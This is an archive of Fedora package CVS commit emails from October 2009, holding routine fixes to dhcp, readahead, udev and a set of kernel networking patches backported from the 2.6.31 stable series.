In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12967

Modified Files:
	56dhclient dhcp.spec 
Log Message:
* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
- Fix 56dhclient so network comes back after suspend/hibernate (#527641)



Index: 56dhclient
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-12/56dhclient,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 56dhclient	6 Aug 2009 21:45:18 -0000	1.1
+++ 56dhclient	13 Oct 2009 10:20:06 -0000	1.2
@@ -43,7 +43,7 @@ resume_dhclient() {
 
     cd /etc/sysconfig/network-scripts
     while read device ; do
-        /sbin/ifup ${DEVICE}
+        /sbin/ifup ${device}
     done < ${PM_DHCLIENT_SUSPEND}
 
     /bin/rm -f ${PM_DHCLIENT_SUSPEND}


Index: dhcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-12/dhcp.spec,v
retrieving revision 1.276
retrieving revision 1.277
diff -u -p -r1.276 -r1.277
--- dhcp.spec	24 Sep 2009 09:29:34 -0000	1.276
+++ dhcp.spec	13 Oct 2009 10:20:06 -0000	1.277
@@ -13,7 +13,7 @@
 Summary:  Dynamic host configuration protocol software
 Name:     dhcp
 Version:  %{basever}p1
-Release:  11%{?dist}
+Release:  12%{?dist}
 # NEVER CHANGE THE EPOCH on this package.  The previous maintainer (prior to
 # dcantrell maintaining the package) made incorrect use of the epoch and
 # that's why it is at 12 now.  It should have never been used, but it was.
@@ -481,6 +481,9 @@ fi
 %attr(0644,root,root) %{_mandir}/man3/omapi.3.gz
 
 %changelog
+* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
+- Fix 56dhclient so network comes back after suspend/hibernate (#527641)
+
 * Thu Sep 24 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-11
 - Make dhcpd and dhcrelay init scripts LSB compliant (#522134, #522146)
 



From harald at fedoraproject.org  Tue Oct 13 10:20:45 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 13 Oct 2009 10:20:45 +0000 (UTC)
Subject: rpms/readahead/F-12 .cvsignore, 1.14, 1.15 readahead.spec, 1.62,
	1.63 sources, 1.18, 1.19
Message-ID: <20091013102045.7CDF711C029E@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/readahead/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13811

Modified Files:
	.cvsignore readahead.spec sources 
Log Message:
* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 1.5.4-1
- cleanup readahead-collector audit rules
- translation update



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	6 Oct 2009 14:23:58 -0000	1.14
+++ .cvsignore	13 Oct 2009 10:20:45 -0000	1.15
@@ -1 +1 @@
-readahead-1.5.3.tar.bz2
+readahead-1.5.4.tar.bz2


Index: readahead.spec
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/readahead.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- readahead.spec	6 Oct 2009 14:23:58 -0000	1.62
+++ readahead.spec	13 Oct 2009 10:20:45 -0000	1.63
@@ -1,6 +1,6 @@
 Summary:        Read a preset list of files into memory
 Name:           readahead
-Version:        1.5.3
+Version:        1.5.4
 Release:        1%{?dist}
 Epoch:          1
 Group:          System Environment/Base
@@ -68,6 +68,10 @@ fi
 /sbin/readahead-collector
 
 %changelog
+* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 1.5.4-1
+- cleanup readahead-collector audit rules
+- translation update
+
 * Tue Oct 06 2009 Harald Hoyer <harald at redhat.com> 1.5.3-1
 - fix readhead for new libaudit (bug #523400)
 - don't leak file descriptors (bug #525893)


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/readahead/F-12/sources,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- sources	6 Oct 2009 14:23:59 -0000	1.18
+++ sources	13 Oct 2009 10:20:45 -0000	1.19
@@ -1 +1 @@
-b3354ba1d59dc270ada5f4a46e95e3bf  readahead-1.5.3.tar.bz2
+8055f4aa83431a5a5e6c50363cbc3397  readahead-1.5.4.tar.bz2



From cebbert at fedoraproject.org  Tue Oct 13 10:26:01 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Tue, 13 Oct 2009 10:26:01 +0000 (UTC)
Subject: rpms/kernel/F-11 net-fix-wrong-sizeof.patch, NONE,
	1.1 net-unix-fix-sending-fds-in-multiple-buffers.patch, NONE,
	1.1 sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch, NONE,
	1.1 sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch, NONE,
	1.1 smsc95xx-fix-transmission-where-zlp-is-expected.patch, NONE,
	1.1 tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch,
	NONE, 1.1 x86-fix-csum_ipv6_magic-asm-memory-clobber.patch, NONE,
	1.1 kernel.spec, 1.1761, 1.1762
Message-ID: <20091013102601.48C4411C00E8@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15967

Modified Files:
	kernel.spec 
Added Files:
	net-fix-wrong-sizeof.patch 
	net-unix-fix-sending-fds-in-multiple-buffers.patch 
	sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch 
	sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch 
	smsc95xx-fix-transmission-where-zlp-is-expected.patch 
	tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch 
	x86-fix-csum_ipv6_magic-asm-memory-clobber.patch 
Log Message:
Networking fixes taken from 2.6.31-stable

net-fix-wrong-sizeof.patch:
 Documentation/networking/timestamping/timestamping.c |    2 +-
 drivers/net/iseries_veth.c                           |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE net-fix-wrong-sizeof.patch ---
>From b607bd900051efc3308c4edc65dd98b34b230021 Mon Sep 17 00:00:00 2001
From: Jean Delvare <khali at linux-fr.org>
Date: Fri, 2 Oct 2009 09:55:19 -0700
Subject: net: Fix wrong sizeof

From: Jean Delvare <khali at linux-fr.org>

commit b607bd900051efc3308c4edc65dd98b34b230021 upstream.

Which is why I have always preferred sizeof(struct foo) over
sizeof(var).

Signed-off-by: Jean Delvare <khali at linux-fr.org>
Acked-by: Randy Dunlap <rdunlap at xenotime.net>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 Documentation/networking/timestamping/timestamping.c |    2 +-
 drivers/net/iseries_veth.c                           |    2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

--- a/Documentation/networking/timestamping/timestamping.c
+++ b/Documentation/networking/timestamping/timestamping.c
@@ -381,7 +381,7 @@ int main(int argc, char **argv)
 	memset(&hwtstamp, 0, sizeof(hwtstamp));
 	strncpy(hwtstamp.ifr_name, interface, sizeof(hwtstamp.ifr_name));
 	hwtstamp.ifr_data = (void *)&hwconfig;
-	memset(&hwconfig, 0, sizeof(&hwconfig));
+	memset(&hwconfig, 0, sizeof(hwconfig));
 	hwconfig.tx_type =
 		(so_timestamping_flags & SOF_TIMESTAMPING_TX_HARDWARE) ?
 		HWTSTAMP_TX_ON : HWTSTAMP_TX_OFF;
--- a/drivers/net/iseries_veth.c
+++ b/drivers/net/iseries_veth.c
@@ -495,7 +495,7 @@ static void veth_take_cap_ack(struct vet
 			   cnx->remote_lp);
 	} else {
 		memcpy(&cnx->cap_ack_event, event,
-		       sizeof(&cnx->cap_ack_event));
+		       sizeof(cnx->cap_ack_event));
 		cnx->state |= VETH_STATE_GOTCAPACK;
 		veth_kick_statemachine(cnx);
 	}

net-unix-fix-sending-fds-in-multiple-buffers.patch:
 af_unix.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE net-unix-fix-sending-fds-in-multiple-buffers.patch ---
>From f599901a049da787808b6df8f876d61bb4ab13b2 Mon Sep 17 00:00:00 2001
From: Miklos Szeredi <mszeredi at suse.cz>
Date: Fri, 11 Sep 2009 11:31:45 -0700
Subject: net: unix: fix sending fds in multiple buffers

From: Miklos Szeredi <mszeredi at suse.cz>

[ Upstream commit 8ba69ba6a324b13e1190fc31e41954d190fd4f1d ]

Kalle Olavi Niemitalo reported that:

  "..., when one process calls sendmsg once to send 43804 bytes of
  data and one file descriptor, and another process then calls recvmsg
  three times to receive the 16032+16032+11740 bytes, each of those
  recvmsg calls returns the file descriptor in the ancillary data.  I
  confirmed this with strace.  The behaviour differs from Linux
  2.6.26, where reportedly only one of those recvmsg calls (I think
  the first one) returned the file descriptor."

This bug was introduced by a patch from me titled "net: unix: fix inflight
counting bug in garbage collector", commit 6209344f5.

And the reason is, quoting Kalle:

  "Before your patch, unix_attach_fds() would set scm->fp = NULL, so
  that if the loop in unix_stream_sendmsg() ran multiple iterations,
  it could not call unix_attach_fds() again.  But now,
  unix_attach_fds() leaves scm->fp unchanged, and I think this causes
  it to be called multiple times and duplicate the same file
  descriptors to each struct sk_buff."

Fix this by introducing a flag that is cleared at the start and set
when the fds attached to the first buffer.  The resulting code should
work equivalently to the one on 2.6.26.

Reported-by: Kalle Olavi Niemitalo <kon at iki.fi>
Signed-off-by: Miklos Szeredi <mszeredi at suse.cz>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/unix/af_unix.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1501,6 +1501,7 @@ static int unix_stream_sendmsg(struct ki
 	struct sk_buff *skb;
 	int sent = 0;
 	struct scm_cookie tmp_scm;
+	bool fds_sent = false;
 
 	if (NULL == siocb->scm)
 		siocb->scm = &tmp_scm;
@@ -1562,12 +1563,14 @@ static int unix_stream_sendmsg(struct ki
 		size = min_t(int, size, skb_tailroom(skb));
 
 		memcpy(UNIXCREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
-		if (siocb->scm->fp) {
+		/* Only send the fds in the first buffer */
+		if (siocb->scm->fp && !fds_sent) {
 			err = unix_attach_fds(siocb->scm, skb);
 			if (err) {
 				kfree_skb(skb);
 				goto out_err;
 			}
+			fds_sent = true;
 		}
 
 		err = memcpy_fromiovec(skb_put(skb, size), msg->msg_iov, size);

sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch:
 sit.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch ---
>From a9cb3db986f8bceaa741175cf016b0b7df59caf0 Mon Sep 17 00:00:00 2001
From: Sascha Hlusiak <contact at saschahlusiak.de>
Date: Tue, 29 Sep 2009 11:27:05 +0000
Subject: sit: fix off-by-one in ipip6_tunnel_get_prl

From: Sascha Hlusiak <contact at saschahlusiak.de>

[ Upstream commit 298bf12ddb25841804f26234a43b89da1b1c0e21 ]

When requesting all prl entries (kprl.addr == INADDR_ANY) and there are
more prl entries than there is space passed from userspace, the existing
code would always copy cmax+1 entries, which is more than can be handled.

This patch makes the kernel copy only exactly cmax entries.

Signed-off-by: Sascha Hlusiak <contact at saschahlusiak.de>
Acked-By: Fred L. Templin <Fred.L.Templin at boeing.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ipv6/sit.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ipv6/sit.c
+++ b/net/ipv6/sit.c
@@ -261,7 +261,7 @@ static int ipip6_tunnel_get_prl(struct i
 
 	c = 0;
 	for (prl = t->prl; prl; prl = prl->next) {
-		if (c > cmax)
+		if (c >= cmax)
 			break;
 		if (kprl.addr != htonl(INADDR_ANY) && prl->addr != kprl.addr)
 			continue;

sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch:
 sky2.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch ---
>From c15e9e9c5bf3e5df18ba054050119d084f905499 Mon Sep 17 00:00:00 2001
From: Mike McCormack <mikem at ring3k.org>
Date: Mon, 21 Sep 2009 04:08:52 +0000
Subject: sky2: Set SKY2_HW_RAM_BUFFER in sky2_init

From: Mike McCormack <mikem at ring3k.org>

[ Upstream commit 74a61ebf653c6abe459f228eb40e9f24f7ef1fb7 ]

The SKY2_HW_RAM_BUFFER bit in hw->flags was checked in sky2_mac_init(),
 before being set later in sky2_up().

Setting SKY2_HW_RAM_BUFFER in sky2_init() where other hw->flags are set
 should avoid this problem recurring.

Signed-off-by: Mike McCormack <mikem at ring3k.org>
Acked-by: Stephen Hemminger <shemminger at vyatta.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 drivers/net/sky2.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- a/drivers/net/sky2.c
+++ b/drivers/net/sky2.c
@@ -1447,7 +1447,6 @@ static int sky2_up(struct net_device *de
 	if (ramsize > 0) {
 		u32 rxspace;
 
-		hw->flags |= SKY2_HW_RAM_BUFFER;
 		pr_debug(PFX "%s: ram buffer %dK\n", dev->name, ramsize);
 		if (ramsize < 16)
 			rxspace = ramsize / 2;
@@ -2887,6 +2886,9 @@ static int __devinit sky2_init(struct sk
 			++hw->ports;
 	}
 
+	if (sky2_read8(hw, B2_E_0))
+		hw->flags |= SKY2_HW_RAM_BUFFER;
+
 	return 0;
 }
 

smsc95xx-fix-transmission-where-zlp-is-expected.patch:
 drivers/net/usb/smsc95xx.c |    2 +-
 drivers/net/usb/usbnet.c   |    2 +-
 include/linux/usb/usbnet.h |    1 +
 3 files changed, 3 insertions(+), 2 deletions(-)

--- NEW FILE smsc95xx-fix-transmission-where-zlp-is-expected.patch ---
>From 710bf937ca93632f2a7e7a7c6a9068c1ff4e4e44 Mon Sep 17 00:00:00 2001
From: Steve Glendinning <steve.glendinning at smsc.com>
Date: Tue, 22 Sep 2009 04:00:27 +0000
Subject: smsc95xx: fix transmission where ZLP is expected

From: Steve Glendinning <steve.glendinning at smsc.com>

[ Upstream commit ec4756238239f1a331d9fb95bad8b281dad56855 ]

Usbnet framework assumes USB hardware doesn't handle zero length
packets, but SMSC LAN95xx requires these to be sent for correct
operation.

This patch fixes an easily reproducible tx lockup when sending a frame
that results in exactly 512 bytes in a USB transmission (e.g. a UDP
frame with 458 data bytes, due to IP headers and our USB headers).  It
adds an extra flag to usbnet for the hardware driver to indicate that
it can handle and requires the zero length packets.

This patch should not affect other usbnet users, please also consider
for -stable.

Signed-off-by: Steve Glendinning <steve.glendinning at smsc.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 drivers/net/usb/smsc95xx.c |    2 +-
 drivers/net/usb/usbnet.c   |    2 +-
 include/linux/usb/usbnet.h |    1 +
 3 files changed, 3 insertions(+), 2 deletions(-)

--- a/drivers/net/usb/smsc95xx.c
+++ b/drivers/net/usb/smsc95xx.c
@@ -1232,7 +1232,7 @@ static const struct driver_info smsc95xx
 	.rx_fixup	= smsc95xx_rx_fixup,
 	.tx_fixup	= smsc95xx_tx_fixup,
 	.status		= smsc95xx_status,
-	.flags		= FLAG_ETHER,
+	.flags		= FLAG_ETHER | FLAG_SEND_ZLP,
 };
 
 static const struct usb_device_id products[] = {
--- a/drivers/net/usb/usbnet.c
+++ b/drivers/net/usb/usbnet.c
@@ -957,7 +957,7 @@ int usbnet_start_xmit (struct sk_buff *s
 	 * NOTE:  strictly conforming cdc-ether devices should expect
 	 * the ZLP here, but ignore the one-byte packet.
 	 */
-	if ((length % dev->maxpacket) == 0) {
+	if (!(info->flags & FLAG_SEND_ZLP) && (length % dev->maxpacket) == 0) {
 		urb->transfer_buffer_length++;
 		if (skb_tailroom(skb)) {
 			skb->data[skb->len] = 0;
--- a/include/linux/usb/usbnet.h
+++ b/include/linux/usb/usbnet.h
@@ -87,6 +87,7 @@ struct driver_info {
 
 #define FLAG_FRAMING_AX 0x0040		/* AX88772/178 packets */
 #define FLAG_WLAN	0x0080		/* use "wlan%d" names */
+#define FLAG_SEND_ZLP	0x0200		/* hw requires ZLPs are sent */
 
 
 	/* init device ... can sleep, or cause probe() failure */

tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch:
 tcp_minisocks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch ---
>From 362d5749032d6426162f3e545ad353a40f2f0d97 Mon Sep 17 00:00:00 2001
From: Robert Varga <nite at hq.alert.sk>
Date: Tue, 15 Sep 2009 23:49:21 -0700
Subject: tcp: fix CONFIG_TCP_MD5SIG + CONFIG_PREEMPT timer BUG()

From: Robert Varga <nite at hq.alert.sk>

[ Upstream commit 657e9649e745b06675aa5063c84430986cdc3afa ]

I have recently came across a preemption imbalance detected by:

<4>huh, entered ffffffff80644630 with preempt_count 00000102, exited with 00000101?
<0>------------[ cut here ]------------
<2>kernel BUG at /usr/src/linux/kernel/timer.c:664!
<0>invalid opcode: 0000 [1] PREEMPT SMP

with ffffffff80644630 being inet_twdr_hangman().

This appeared after I enabled CONFIG_TCP_MD5SIG and played with it a
bit, so I looked at what might have caused it.

One thing that struck me as strange is tcp_twsk_destructor(), as it
calls tcp_put_md5sig_pool() -- which entails a put_cpu(), causing the
detected imbalance. Found on 2.6.23.9, but 2.6.31 is affected as well,
as far as I can tell.

Signed-off-by: Robert Varga <nite at hq.alert.sk>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ipv4/tcp_minisocks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ipv4/tcp_minisocks.c
+++ b/net/ipv4/tcp_minisocks.c
@@ -362,7 +362,7 @@ void tcp_twsk_destructor(struct sock *sk
 #ifdef CONFIG_TCP_MD5SIG
 	struct tcp_timewait_sock *twsk = tcp_twsk(sk);
 	if (twsk->tw_md5_keylen)
-		tcp_put_md5sig_pool();
+		tcp_free_md5sig_pool();
 #endif
 }
 

x86-fix-csum_ipv6_magic-asm-memory-clobber.patch:
 checksum_32.h |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE x86-fix-csum_ipv6_magic-asm-memory-clobber.patch ---
>From 392d814daf460a9564d29b2cebc51e1ea34e0504 Mon Sep 17 00:00:00 2001
From: Samuel Thibault <samuel.thibault at ens-lyon.org>
Date: Thu, 1 Oct 2009 15:44:02 -0700
Subject: x86: fix csum_ipv6_magic asm memory clobber

From: Samuel Thibault <samuel.thibault at ens-lyon.org>

commit 392d814daf460a9564d29b2cebc51e1ea34e0504 upstream.

Just like ip_fast_csum, the assembly snippet in csum_ipv6_magic needs a
memory clobber, as it is only passed the address of the buffer, not a
memory reference to the buffer itself.

This caused failures in Hurd's pfinetv4 when we tried to compile it with
gcc-4.3 (bogus checksums).

Signed-off-by: Samuel Thibault <samuel.thibault at ens-lyon.org>
Cc: Ingo Molnar <mingo at elte.hu>
Cc: Thomas Gleixner <tglx at linutronix.de>
Cc: "H. Peter Anvin" <hpa at zytor.com>
Acked-by: "David S. Miller" <davem at davemloft.net>
Cc: Andi Kleen <andi at firstfloor.org>
Signed-off-by: Andrew Morton <akpm at linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 arch/x86/include/asm/checksum_32.h |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/arch/x86/include/asm/checksum_32.h
+++ b/arch/x86/include/asm/checksum_32.h
@@ -161,7 +161,8 @@ static inline __sum16 csum_ipv6_magic(co
 	    "adcl $0, %0	;\n"
 	    : "=&r" (sum)
 	    : "r" (saddr), "r" (daddr),
-	      "r" (htonl(len)), "r" (htonl(proto)), "0" (sum));
+	      "r" (htonl(len)), "r" (htonl(proto)), "0" (sum)
+	    : "memory");
 
 	return csum_fold(sum);
 }


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/kernel.spec,v
retrieving revision 1.1761
retrieving revision 1.1762
diff -u -p -r1.1761 -r1.1762
--- kernel.spec	13 Oct 2009 10:04:06 -0000	1.1761
+++ kernel.spec	13 Oct 2009 10:26:00 -0000	1.1762
@@ -788,6 +788,15 @@ Patch15520: tracing-correct-module-bound
 # fix boot hang on some systems
 Patch15600: acpi-revert-attach-device-to-handle-early.patch
 
+# networking fixes from 2.6.31-stable
+Patch15700: net-fix-wrong-sizeof.patch
+Patch15710: net-unix-fix-sending-fds-in-multiple-buffers.patch
+Patch15720: sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
+Patch15730: sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
+Patch15740: smsc95xx-fix-transmission-where-zlp-is-expected.patch
+Patch15750: tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
+Patch15760: x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1473,6 +1482,15 @@ ApplyPatch tracing-correct-module-bounda
 # fix boot hang on some systems
 ApplyPatch acpi-revert-attach-device-to-handle-early.patch
 
+# networking fixes from 2.6.31-stable
+ApplyPatch net-fix-wrong-sizeof.patch
+ApplyPatch net-unix-fix-sending-fds-in-multiple-buffers.patch
+ApplyPatch sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
+ApplyPatch sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
+ApplyPatch smsc95xx-fix-transmission-where-zlp-is-expected.patch
+ApplyPatch tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
+ApplyPatch x86-fix-csum_ipv6_magic-asm-memory-clobber.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2061,6 +2079,9 @@ fi
 # and build.
 
 %changelog
+* Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-83
+- Networking fixes taken from 2.6.31-stable
+
 * Tue Oct 13 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.30.9-82
 - Fix boot hang with ACPI on some systems.
 



From jpopelka at fedoraproject.org  Tue Oct 13 10:27:04 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Tue, 13 Oct 2009 10:27:04 +0000 (UTC)
Subject: rpms/dhcp/F-11 56dhclient,1.1,1.2 dhcp.spec,1.264,1.265
Message-ID: <20091013102704.BF39E11C00E8@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/dhcp/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16200

Modified Files:
	56dhclient dhcp.spec 
Log Message:
* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-5
- Fix 56dhclient so network comes back after suspend/hibernate (#527641)



Index: 56dhclient
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-11/56dhclient,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 56dhclient	6 Aug 2009 21:30:05 -0000	1.1
+++ 56dhclient	13 Oct 2009 10:27:04 -0000	1.2
@@ -43,7 +43,7 @@ resume_dhclient() {
 
     cd /etc/sysconfig/network-scripts
     while read device ; do
-        /sbin/ifup ${DEVICE}
+        /sbin/ifup ${device}
     done < ${PM_DHCLIENT_SUSPEND}
 
     /bin/rm -f ${PM_DHCLIENT_SUSPEND}


Index: dhcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-11/dhcp.spec,v
retrieving revision 1.264
retrieving revision 1.265
diff -u -p -r1.264 -r1.265
--- dhcp.spec	26 Aug 2009 21:32:31 -0000	1.264
+++ dhcp.spec	13 Oct 2009 10:27:04 -0000	1.265
@@ -13,7 +13,7 @@
 Summary:  Dynamic host configuration protocol software
 Name:     dhcp
 Version:  %{basever}p1
-Release:  4%{?dist}
+Release:  5%{?dist}
 # NEVER CHANGE THE EPOCH on this package.  The previous maintainer (prior to
 # dcantrell maintaining the package) made incorrect use of the epoch and
 # that's why it is at 12 now.  It should have never been used, but it was.
@@ -460,6 +460,9 @@ fi
 %attr(0644,root,root) %{_mandir}/man3/omapi.3.gz
 
 %changelog
+* Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-5
+- Fix 56dhclient so network comes back after suspend/hibernate (#527641)
+
 * Wed Aug 26 2009 David Cantrell <dcantrell at redhat.com> - 12:4.1.0p1-4
 - Do not require policycoreutils for dhclient subpackage, fix restorecon
   calls in postinstall scriptlets (#519479)



From harald at fedoraproject.org  Tue Oct 13 10:35:52 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 13 Oct 2009 10:35:52 +0000 (UTC)
Subject: rpms/udev/F-12 start_udev,1.85,1.86 udev.spec,1.293,1.294
Message-ID: <20091013103552.9207711C00E8@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/udev/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18305

Modified Files:
	start_udev udev.spec 
Log Message:
* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 145-10
- recognize a devtmpfs on /dev



Index: start_udev
===================================================================
RCS file: /cvs/pkgs/rpms/udev/F-12/start_udev,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- start_udev	24 Aug 2009 13:03:46 -0000	1.85
+++ start_udev	13 Oct 2009 10:35:52 -0000	1.86
@@ -223,7 +223,7 @@ STRING=$"Starting $prog: "
 echo -n "$STRING"
 
 # mount the tmpfs on ${udev_root%/}, if not already done
-LANG=C awk "\$2 == \"${udev_root%/}\" && \$3 == \"tmpfs\" { exit 1 }" /proc/mounts && {
+LANG=C awk "\$2 == \"${udev_root%/}\" && ( \$3 == \"devtmpfs\" || \$3 == \"tmpfs\" ) { exit 1 }" /proc/mounts && {
 	if LANG=C fgrep -q "none ${udev_root%/}/pts " /proc/mounts; then
 		PTSDIR=$(mktemp -d)
 		mount --move $udev_root/pts "$PTSDIR"
@@ -232,7 +232,9 @@ LANG=C awk "\$2 == \"${udev_root%/}\" &&
 		SHMDIR=$(mktemp -d)
 		mount --move $udev_root/shm "$SHMDIR"
 	fi
-	mount -n -o mode=0755 -t tmpfs none "$udev_root"
+	# First try to mount a devtmpfs on $udev_root
+	mount -n -o mode=0755 -t devtmpfs none "$udev_root" 2>/dev/null \
+	|| mount -n -o mode=0755 -t tmpfs none "$udev_root" 
 	mkdir -m 0755 $udev_root/pts
 	mkdir -m 0755 $udev_root/shm
 	if [ -n "$PTSDIR" ]; then


Index: udev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/udev/F-12/udev.spec,v
retrieving revision 1.293
retrieving revision 1.294
diff -u -p -r1.293 -r1.294
--- udev.spec	25 Sep 2009 17:05:23 -0000	1.293
+++ udev.spec	13 Oct 2009 10:35:52 -0000	1.294
@@ -5,7 +5,7 @@
 Summary: A userspace implementation of devfs
 Name: udev
 Version: 145
-Release: 9%{?dist}
+Release: 10%{?dist}
 License: GPLv2
 Group: System Environment/Base
 Provides: udev-persistent = %{version}-%{release}
@@ -357,6 +357,9 @@ rm -rf $RPM_BUILD_ROOT
 %attr(0644,root,root) %{_libdir}/pkgconfig/gudev-1.0*
 
 %changelog
+* Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 145-10
+- recognize a devtmpfs on /dev
+
 * Fri Sep 25 2009 harald at redhat.com 145-9
 - add patches to fix cdrom_id
 - add patch to fix the inotify bug (bug #524752)



From harald at fedoraproject.org  Tue Oct 13 10:37:13 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 13 Oct 2009 10:37:13 +0000 (UTC)
Subject: rpms/udev/F-12 udev.spec,1.294,1.295
Message-ID: <20091013103713.A0FE411C00E8@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/udev/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18605

Modified Files:
	udev.spec 
Log Message:
add bugzilla number to changelog



Index: udev.spec
===================================================================
RCS file: /cvs/pkgs/rpms/udev/F-12/udev.spec,v
retrieving revision 1.294
retrieving revision 1.295
diff -u -p -r1.294 -r1.295
--- udev.spec	13 Oct 2009 10:35:52 -0000	1.294
+++ udev.spec	13 Oct 2009 10:37:13 -0000	1.295
@@ -358,7 +358,7 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 * Tue Oct 13 2009 Harald Hoyer <harald at redhat.com> 145-10
-- recognize a devtmpfs on /dev
+- recognize a devtmpfs on /dev (bug #528488)
 
 * Fri Sep 25 2009 harald at redhat.com 145-9
 - add patches to fix cdrom_id



From harald at fedoraproject.org  Tue Oct 13 10:43:22 2009
From: harald at fedoraproject.org (Harald Hoyer)
Date: Tue, 13 Oct 2009 10:43:22 +0000 (UTC)
Subject: rpms/udev/F-12 ck-runseat.patch,NONE,1.1 udev.spec,1.295,1.296
Message-ID: <20091013104322.AA96111C00E8@cvs1.fedora.phx.redhat.com>

Author: harald

Update of /cvs/pkgs/rpms/udev/F-12
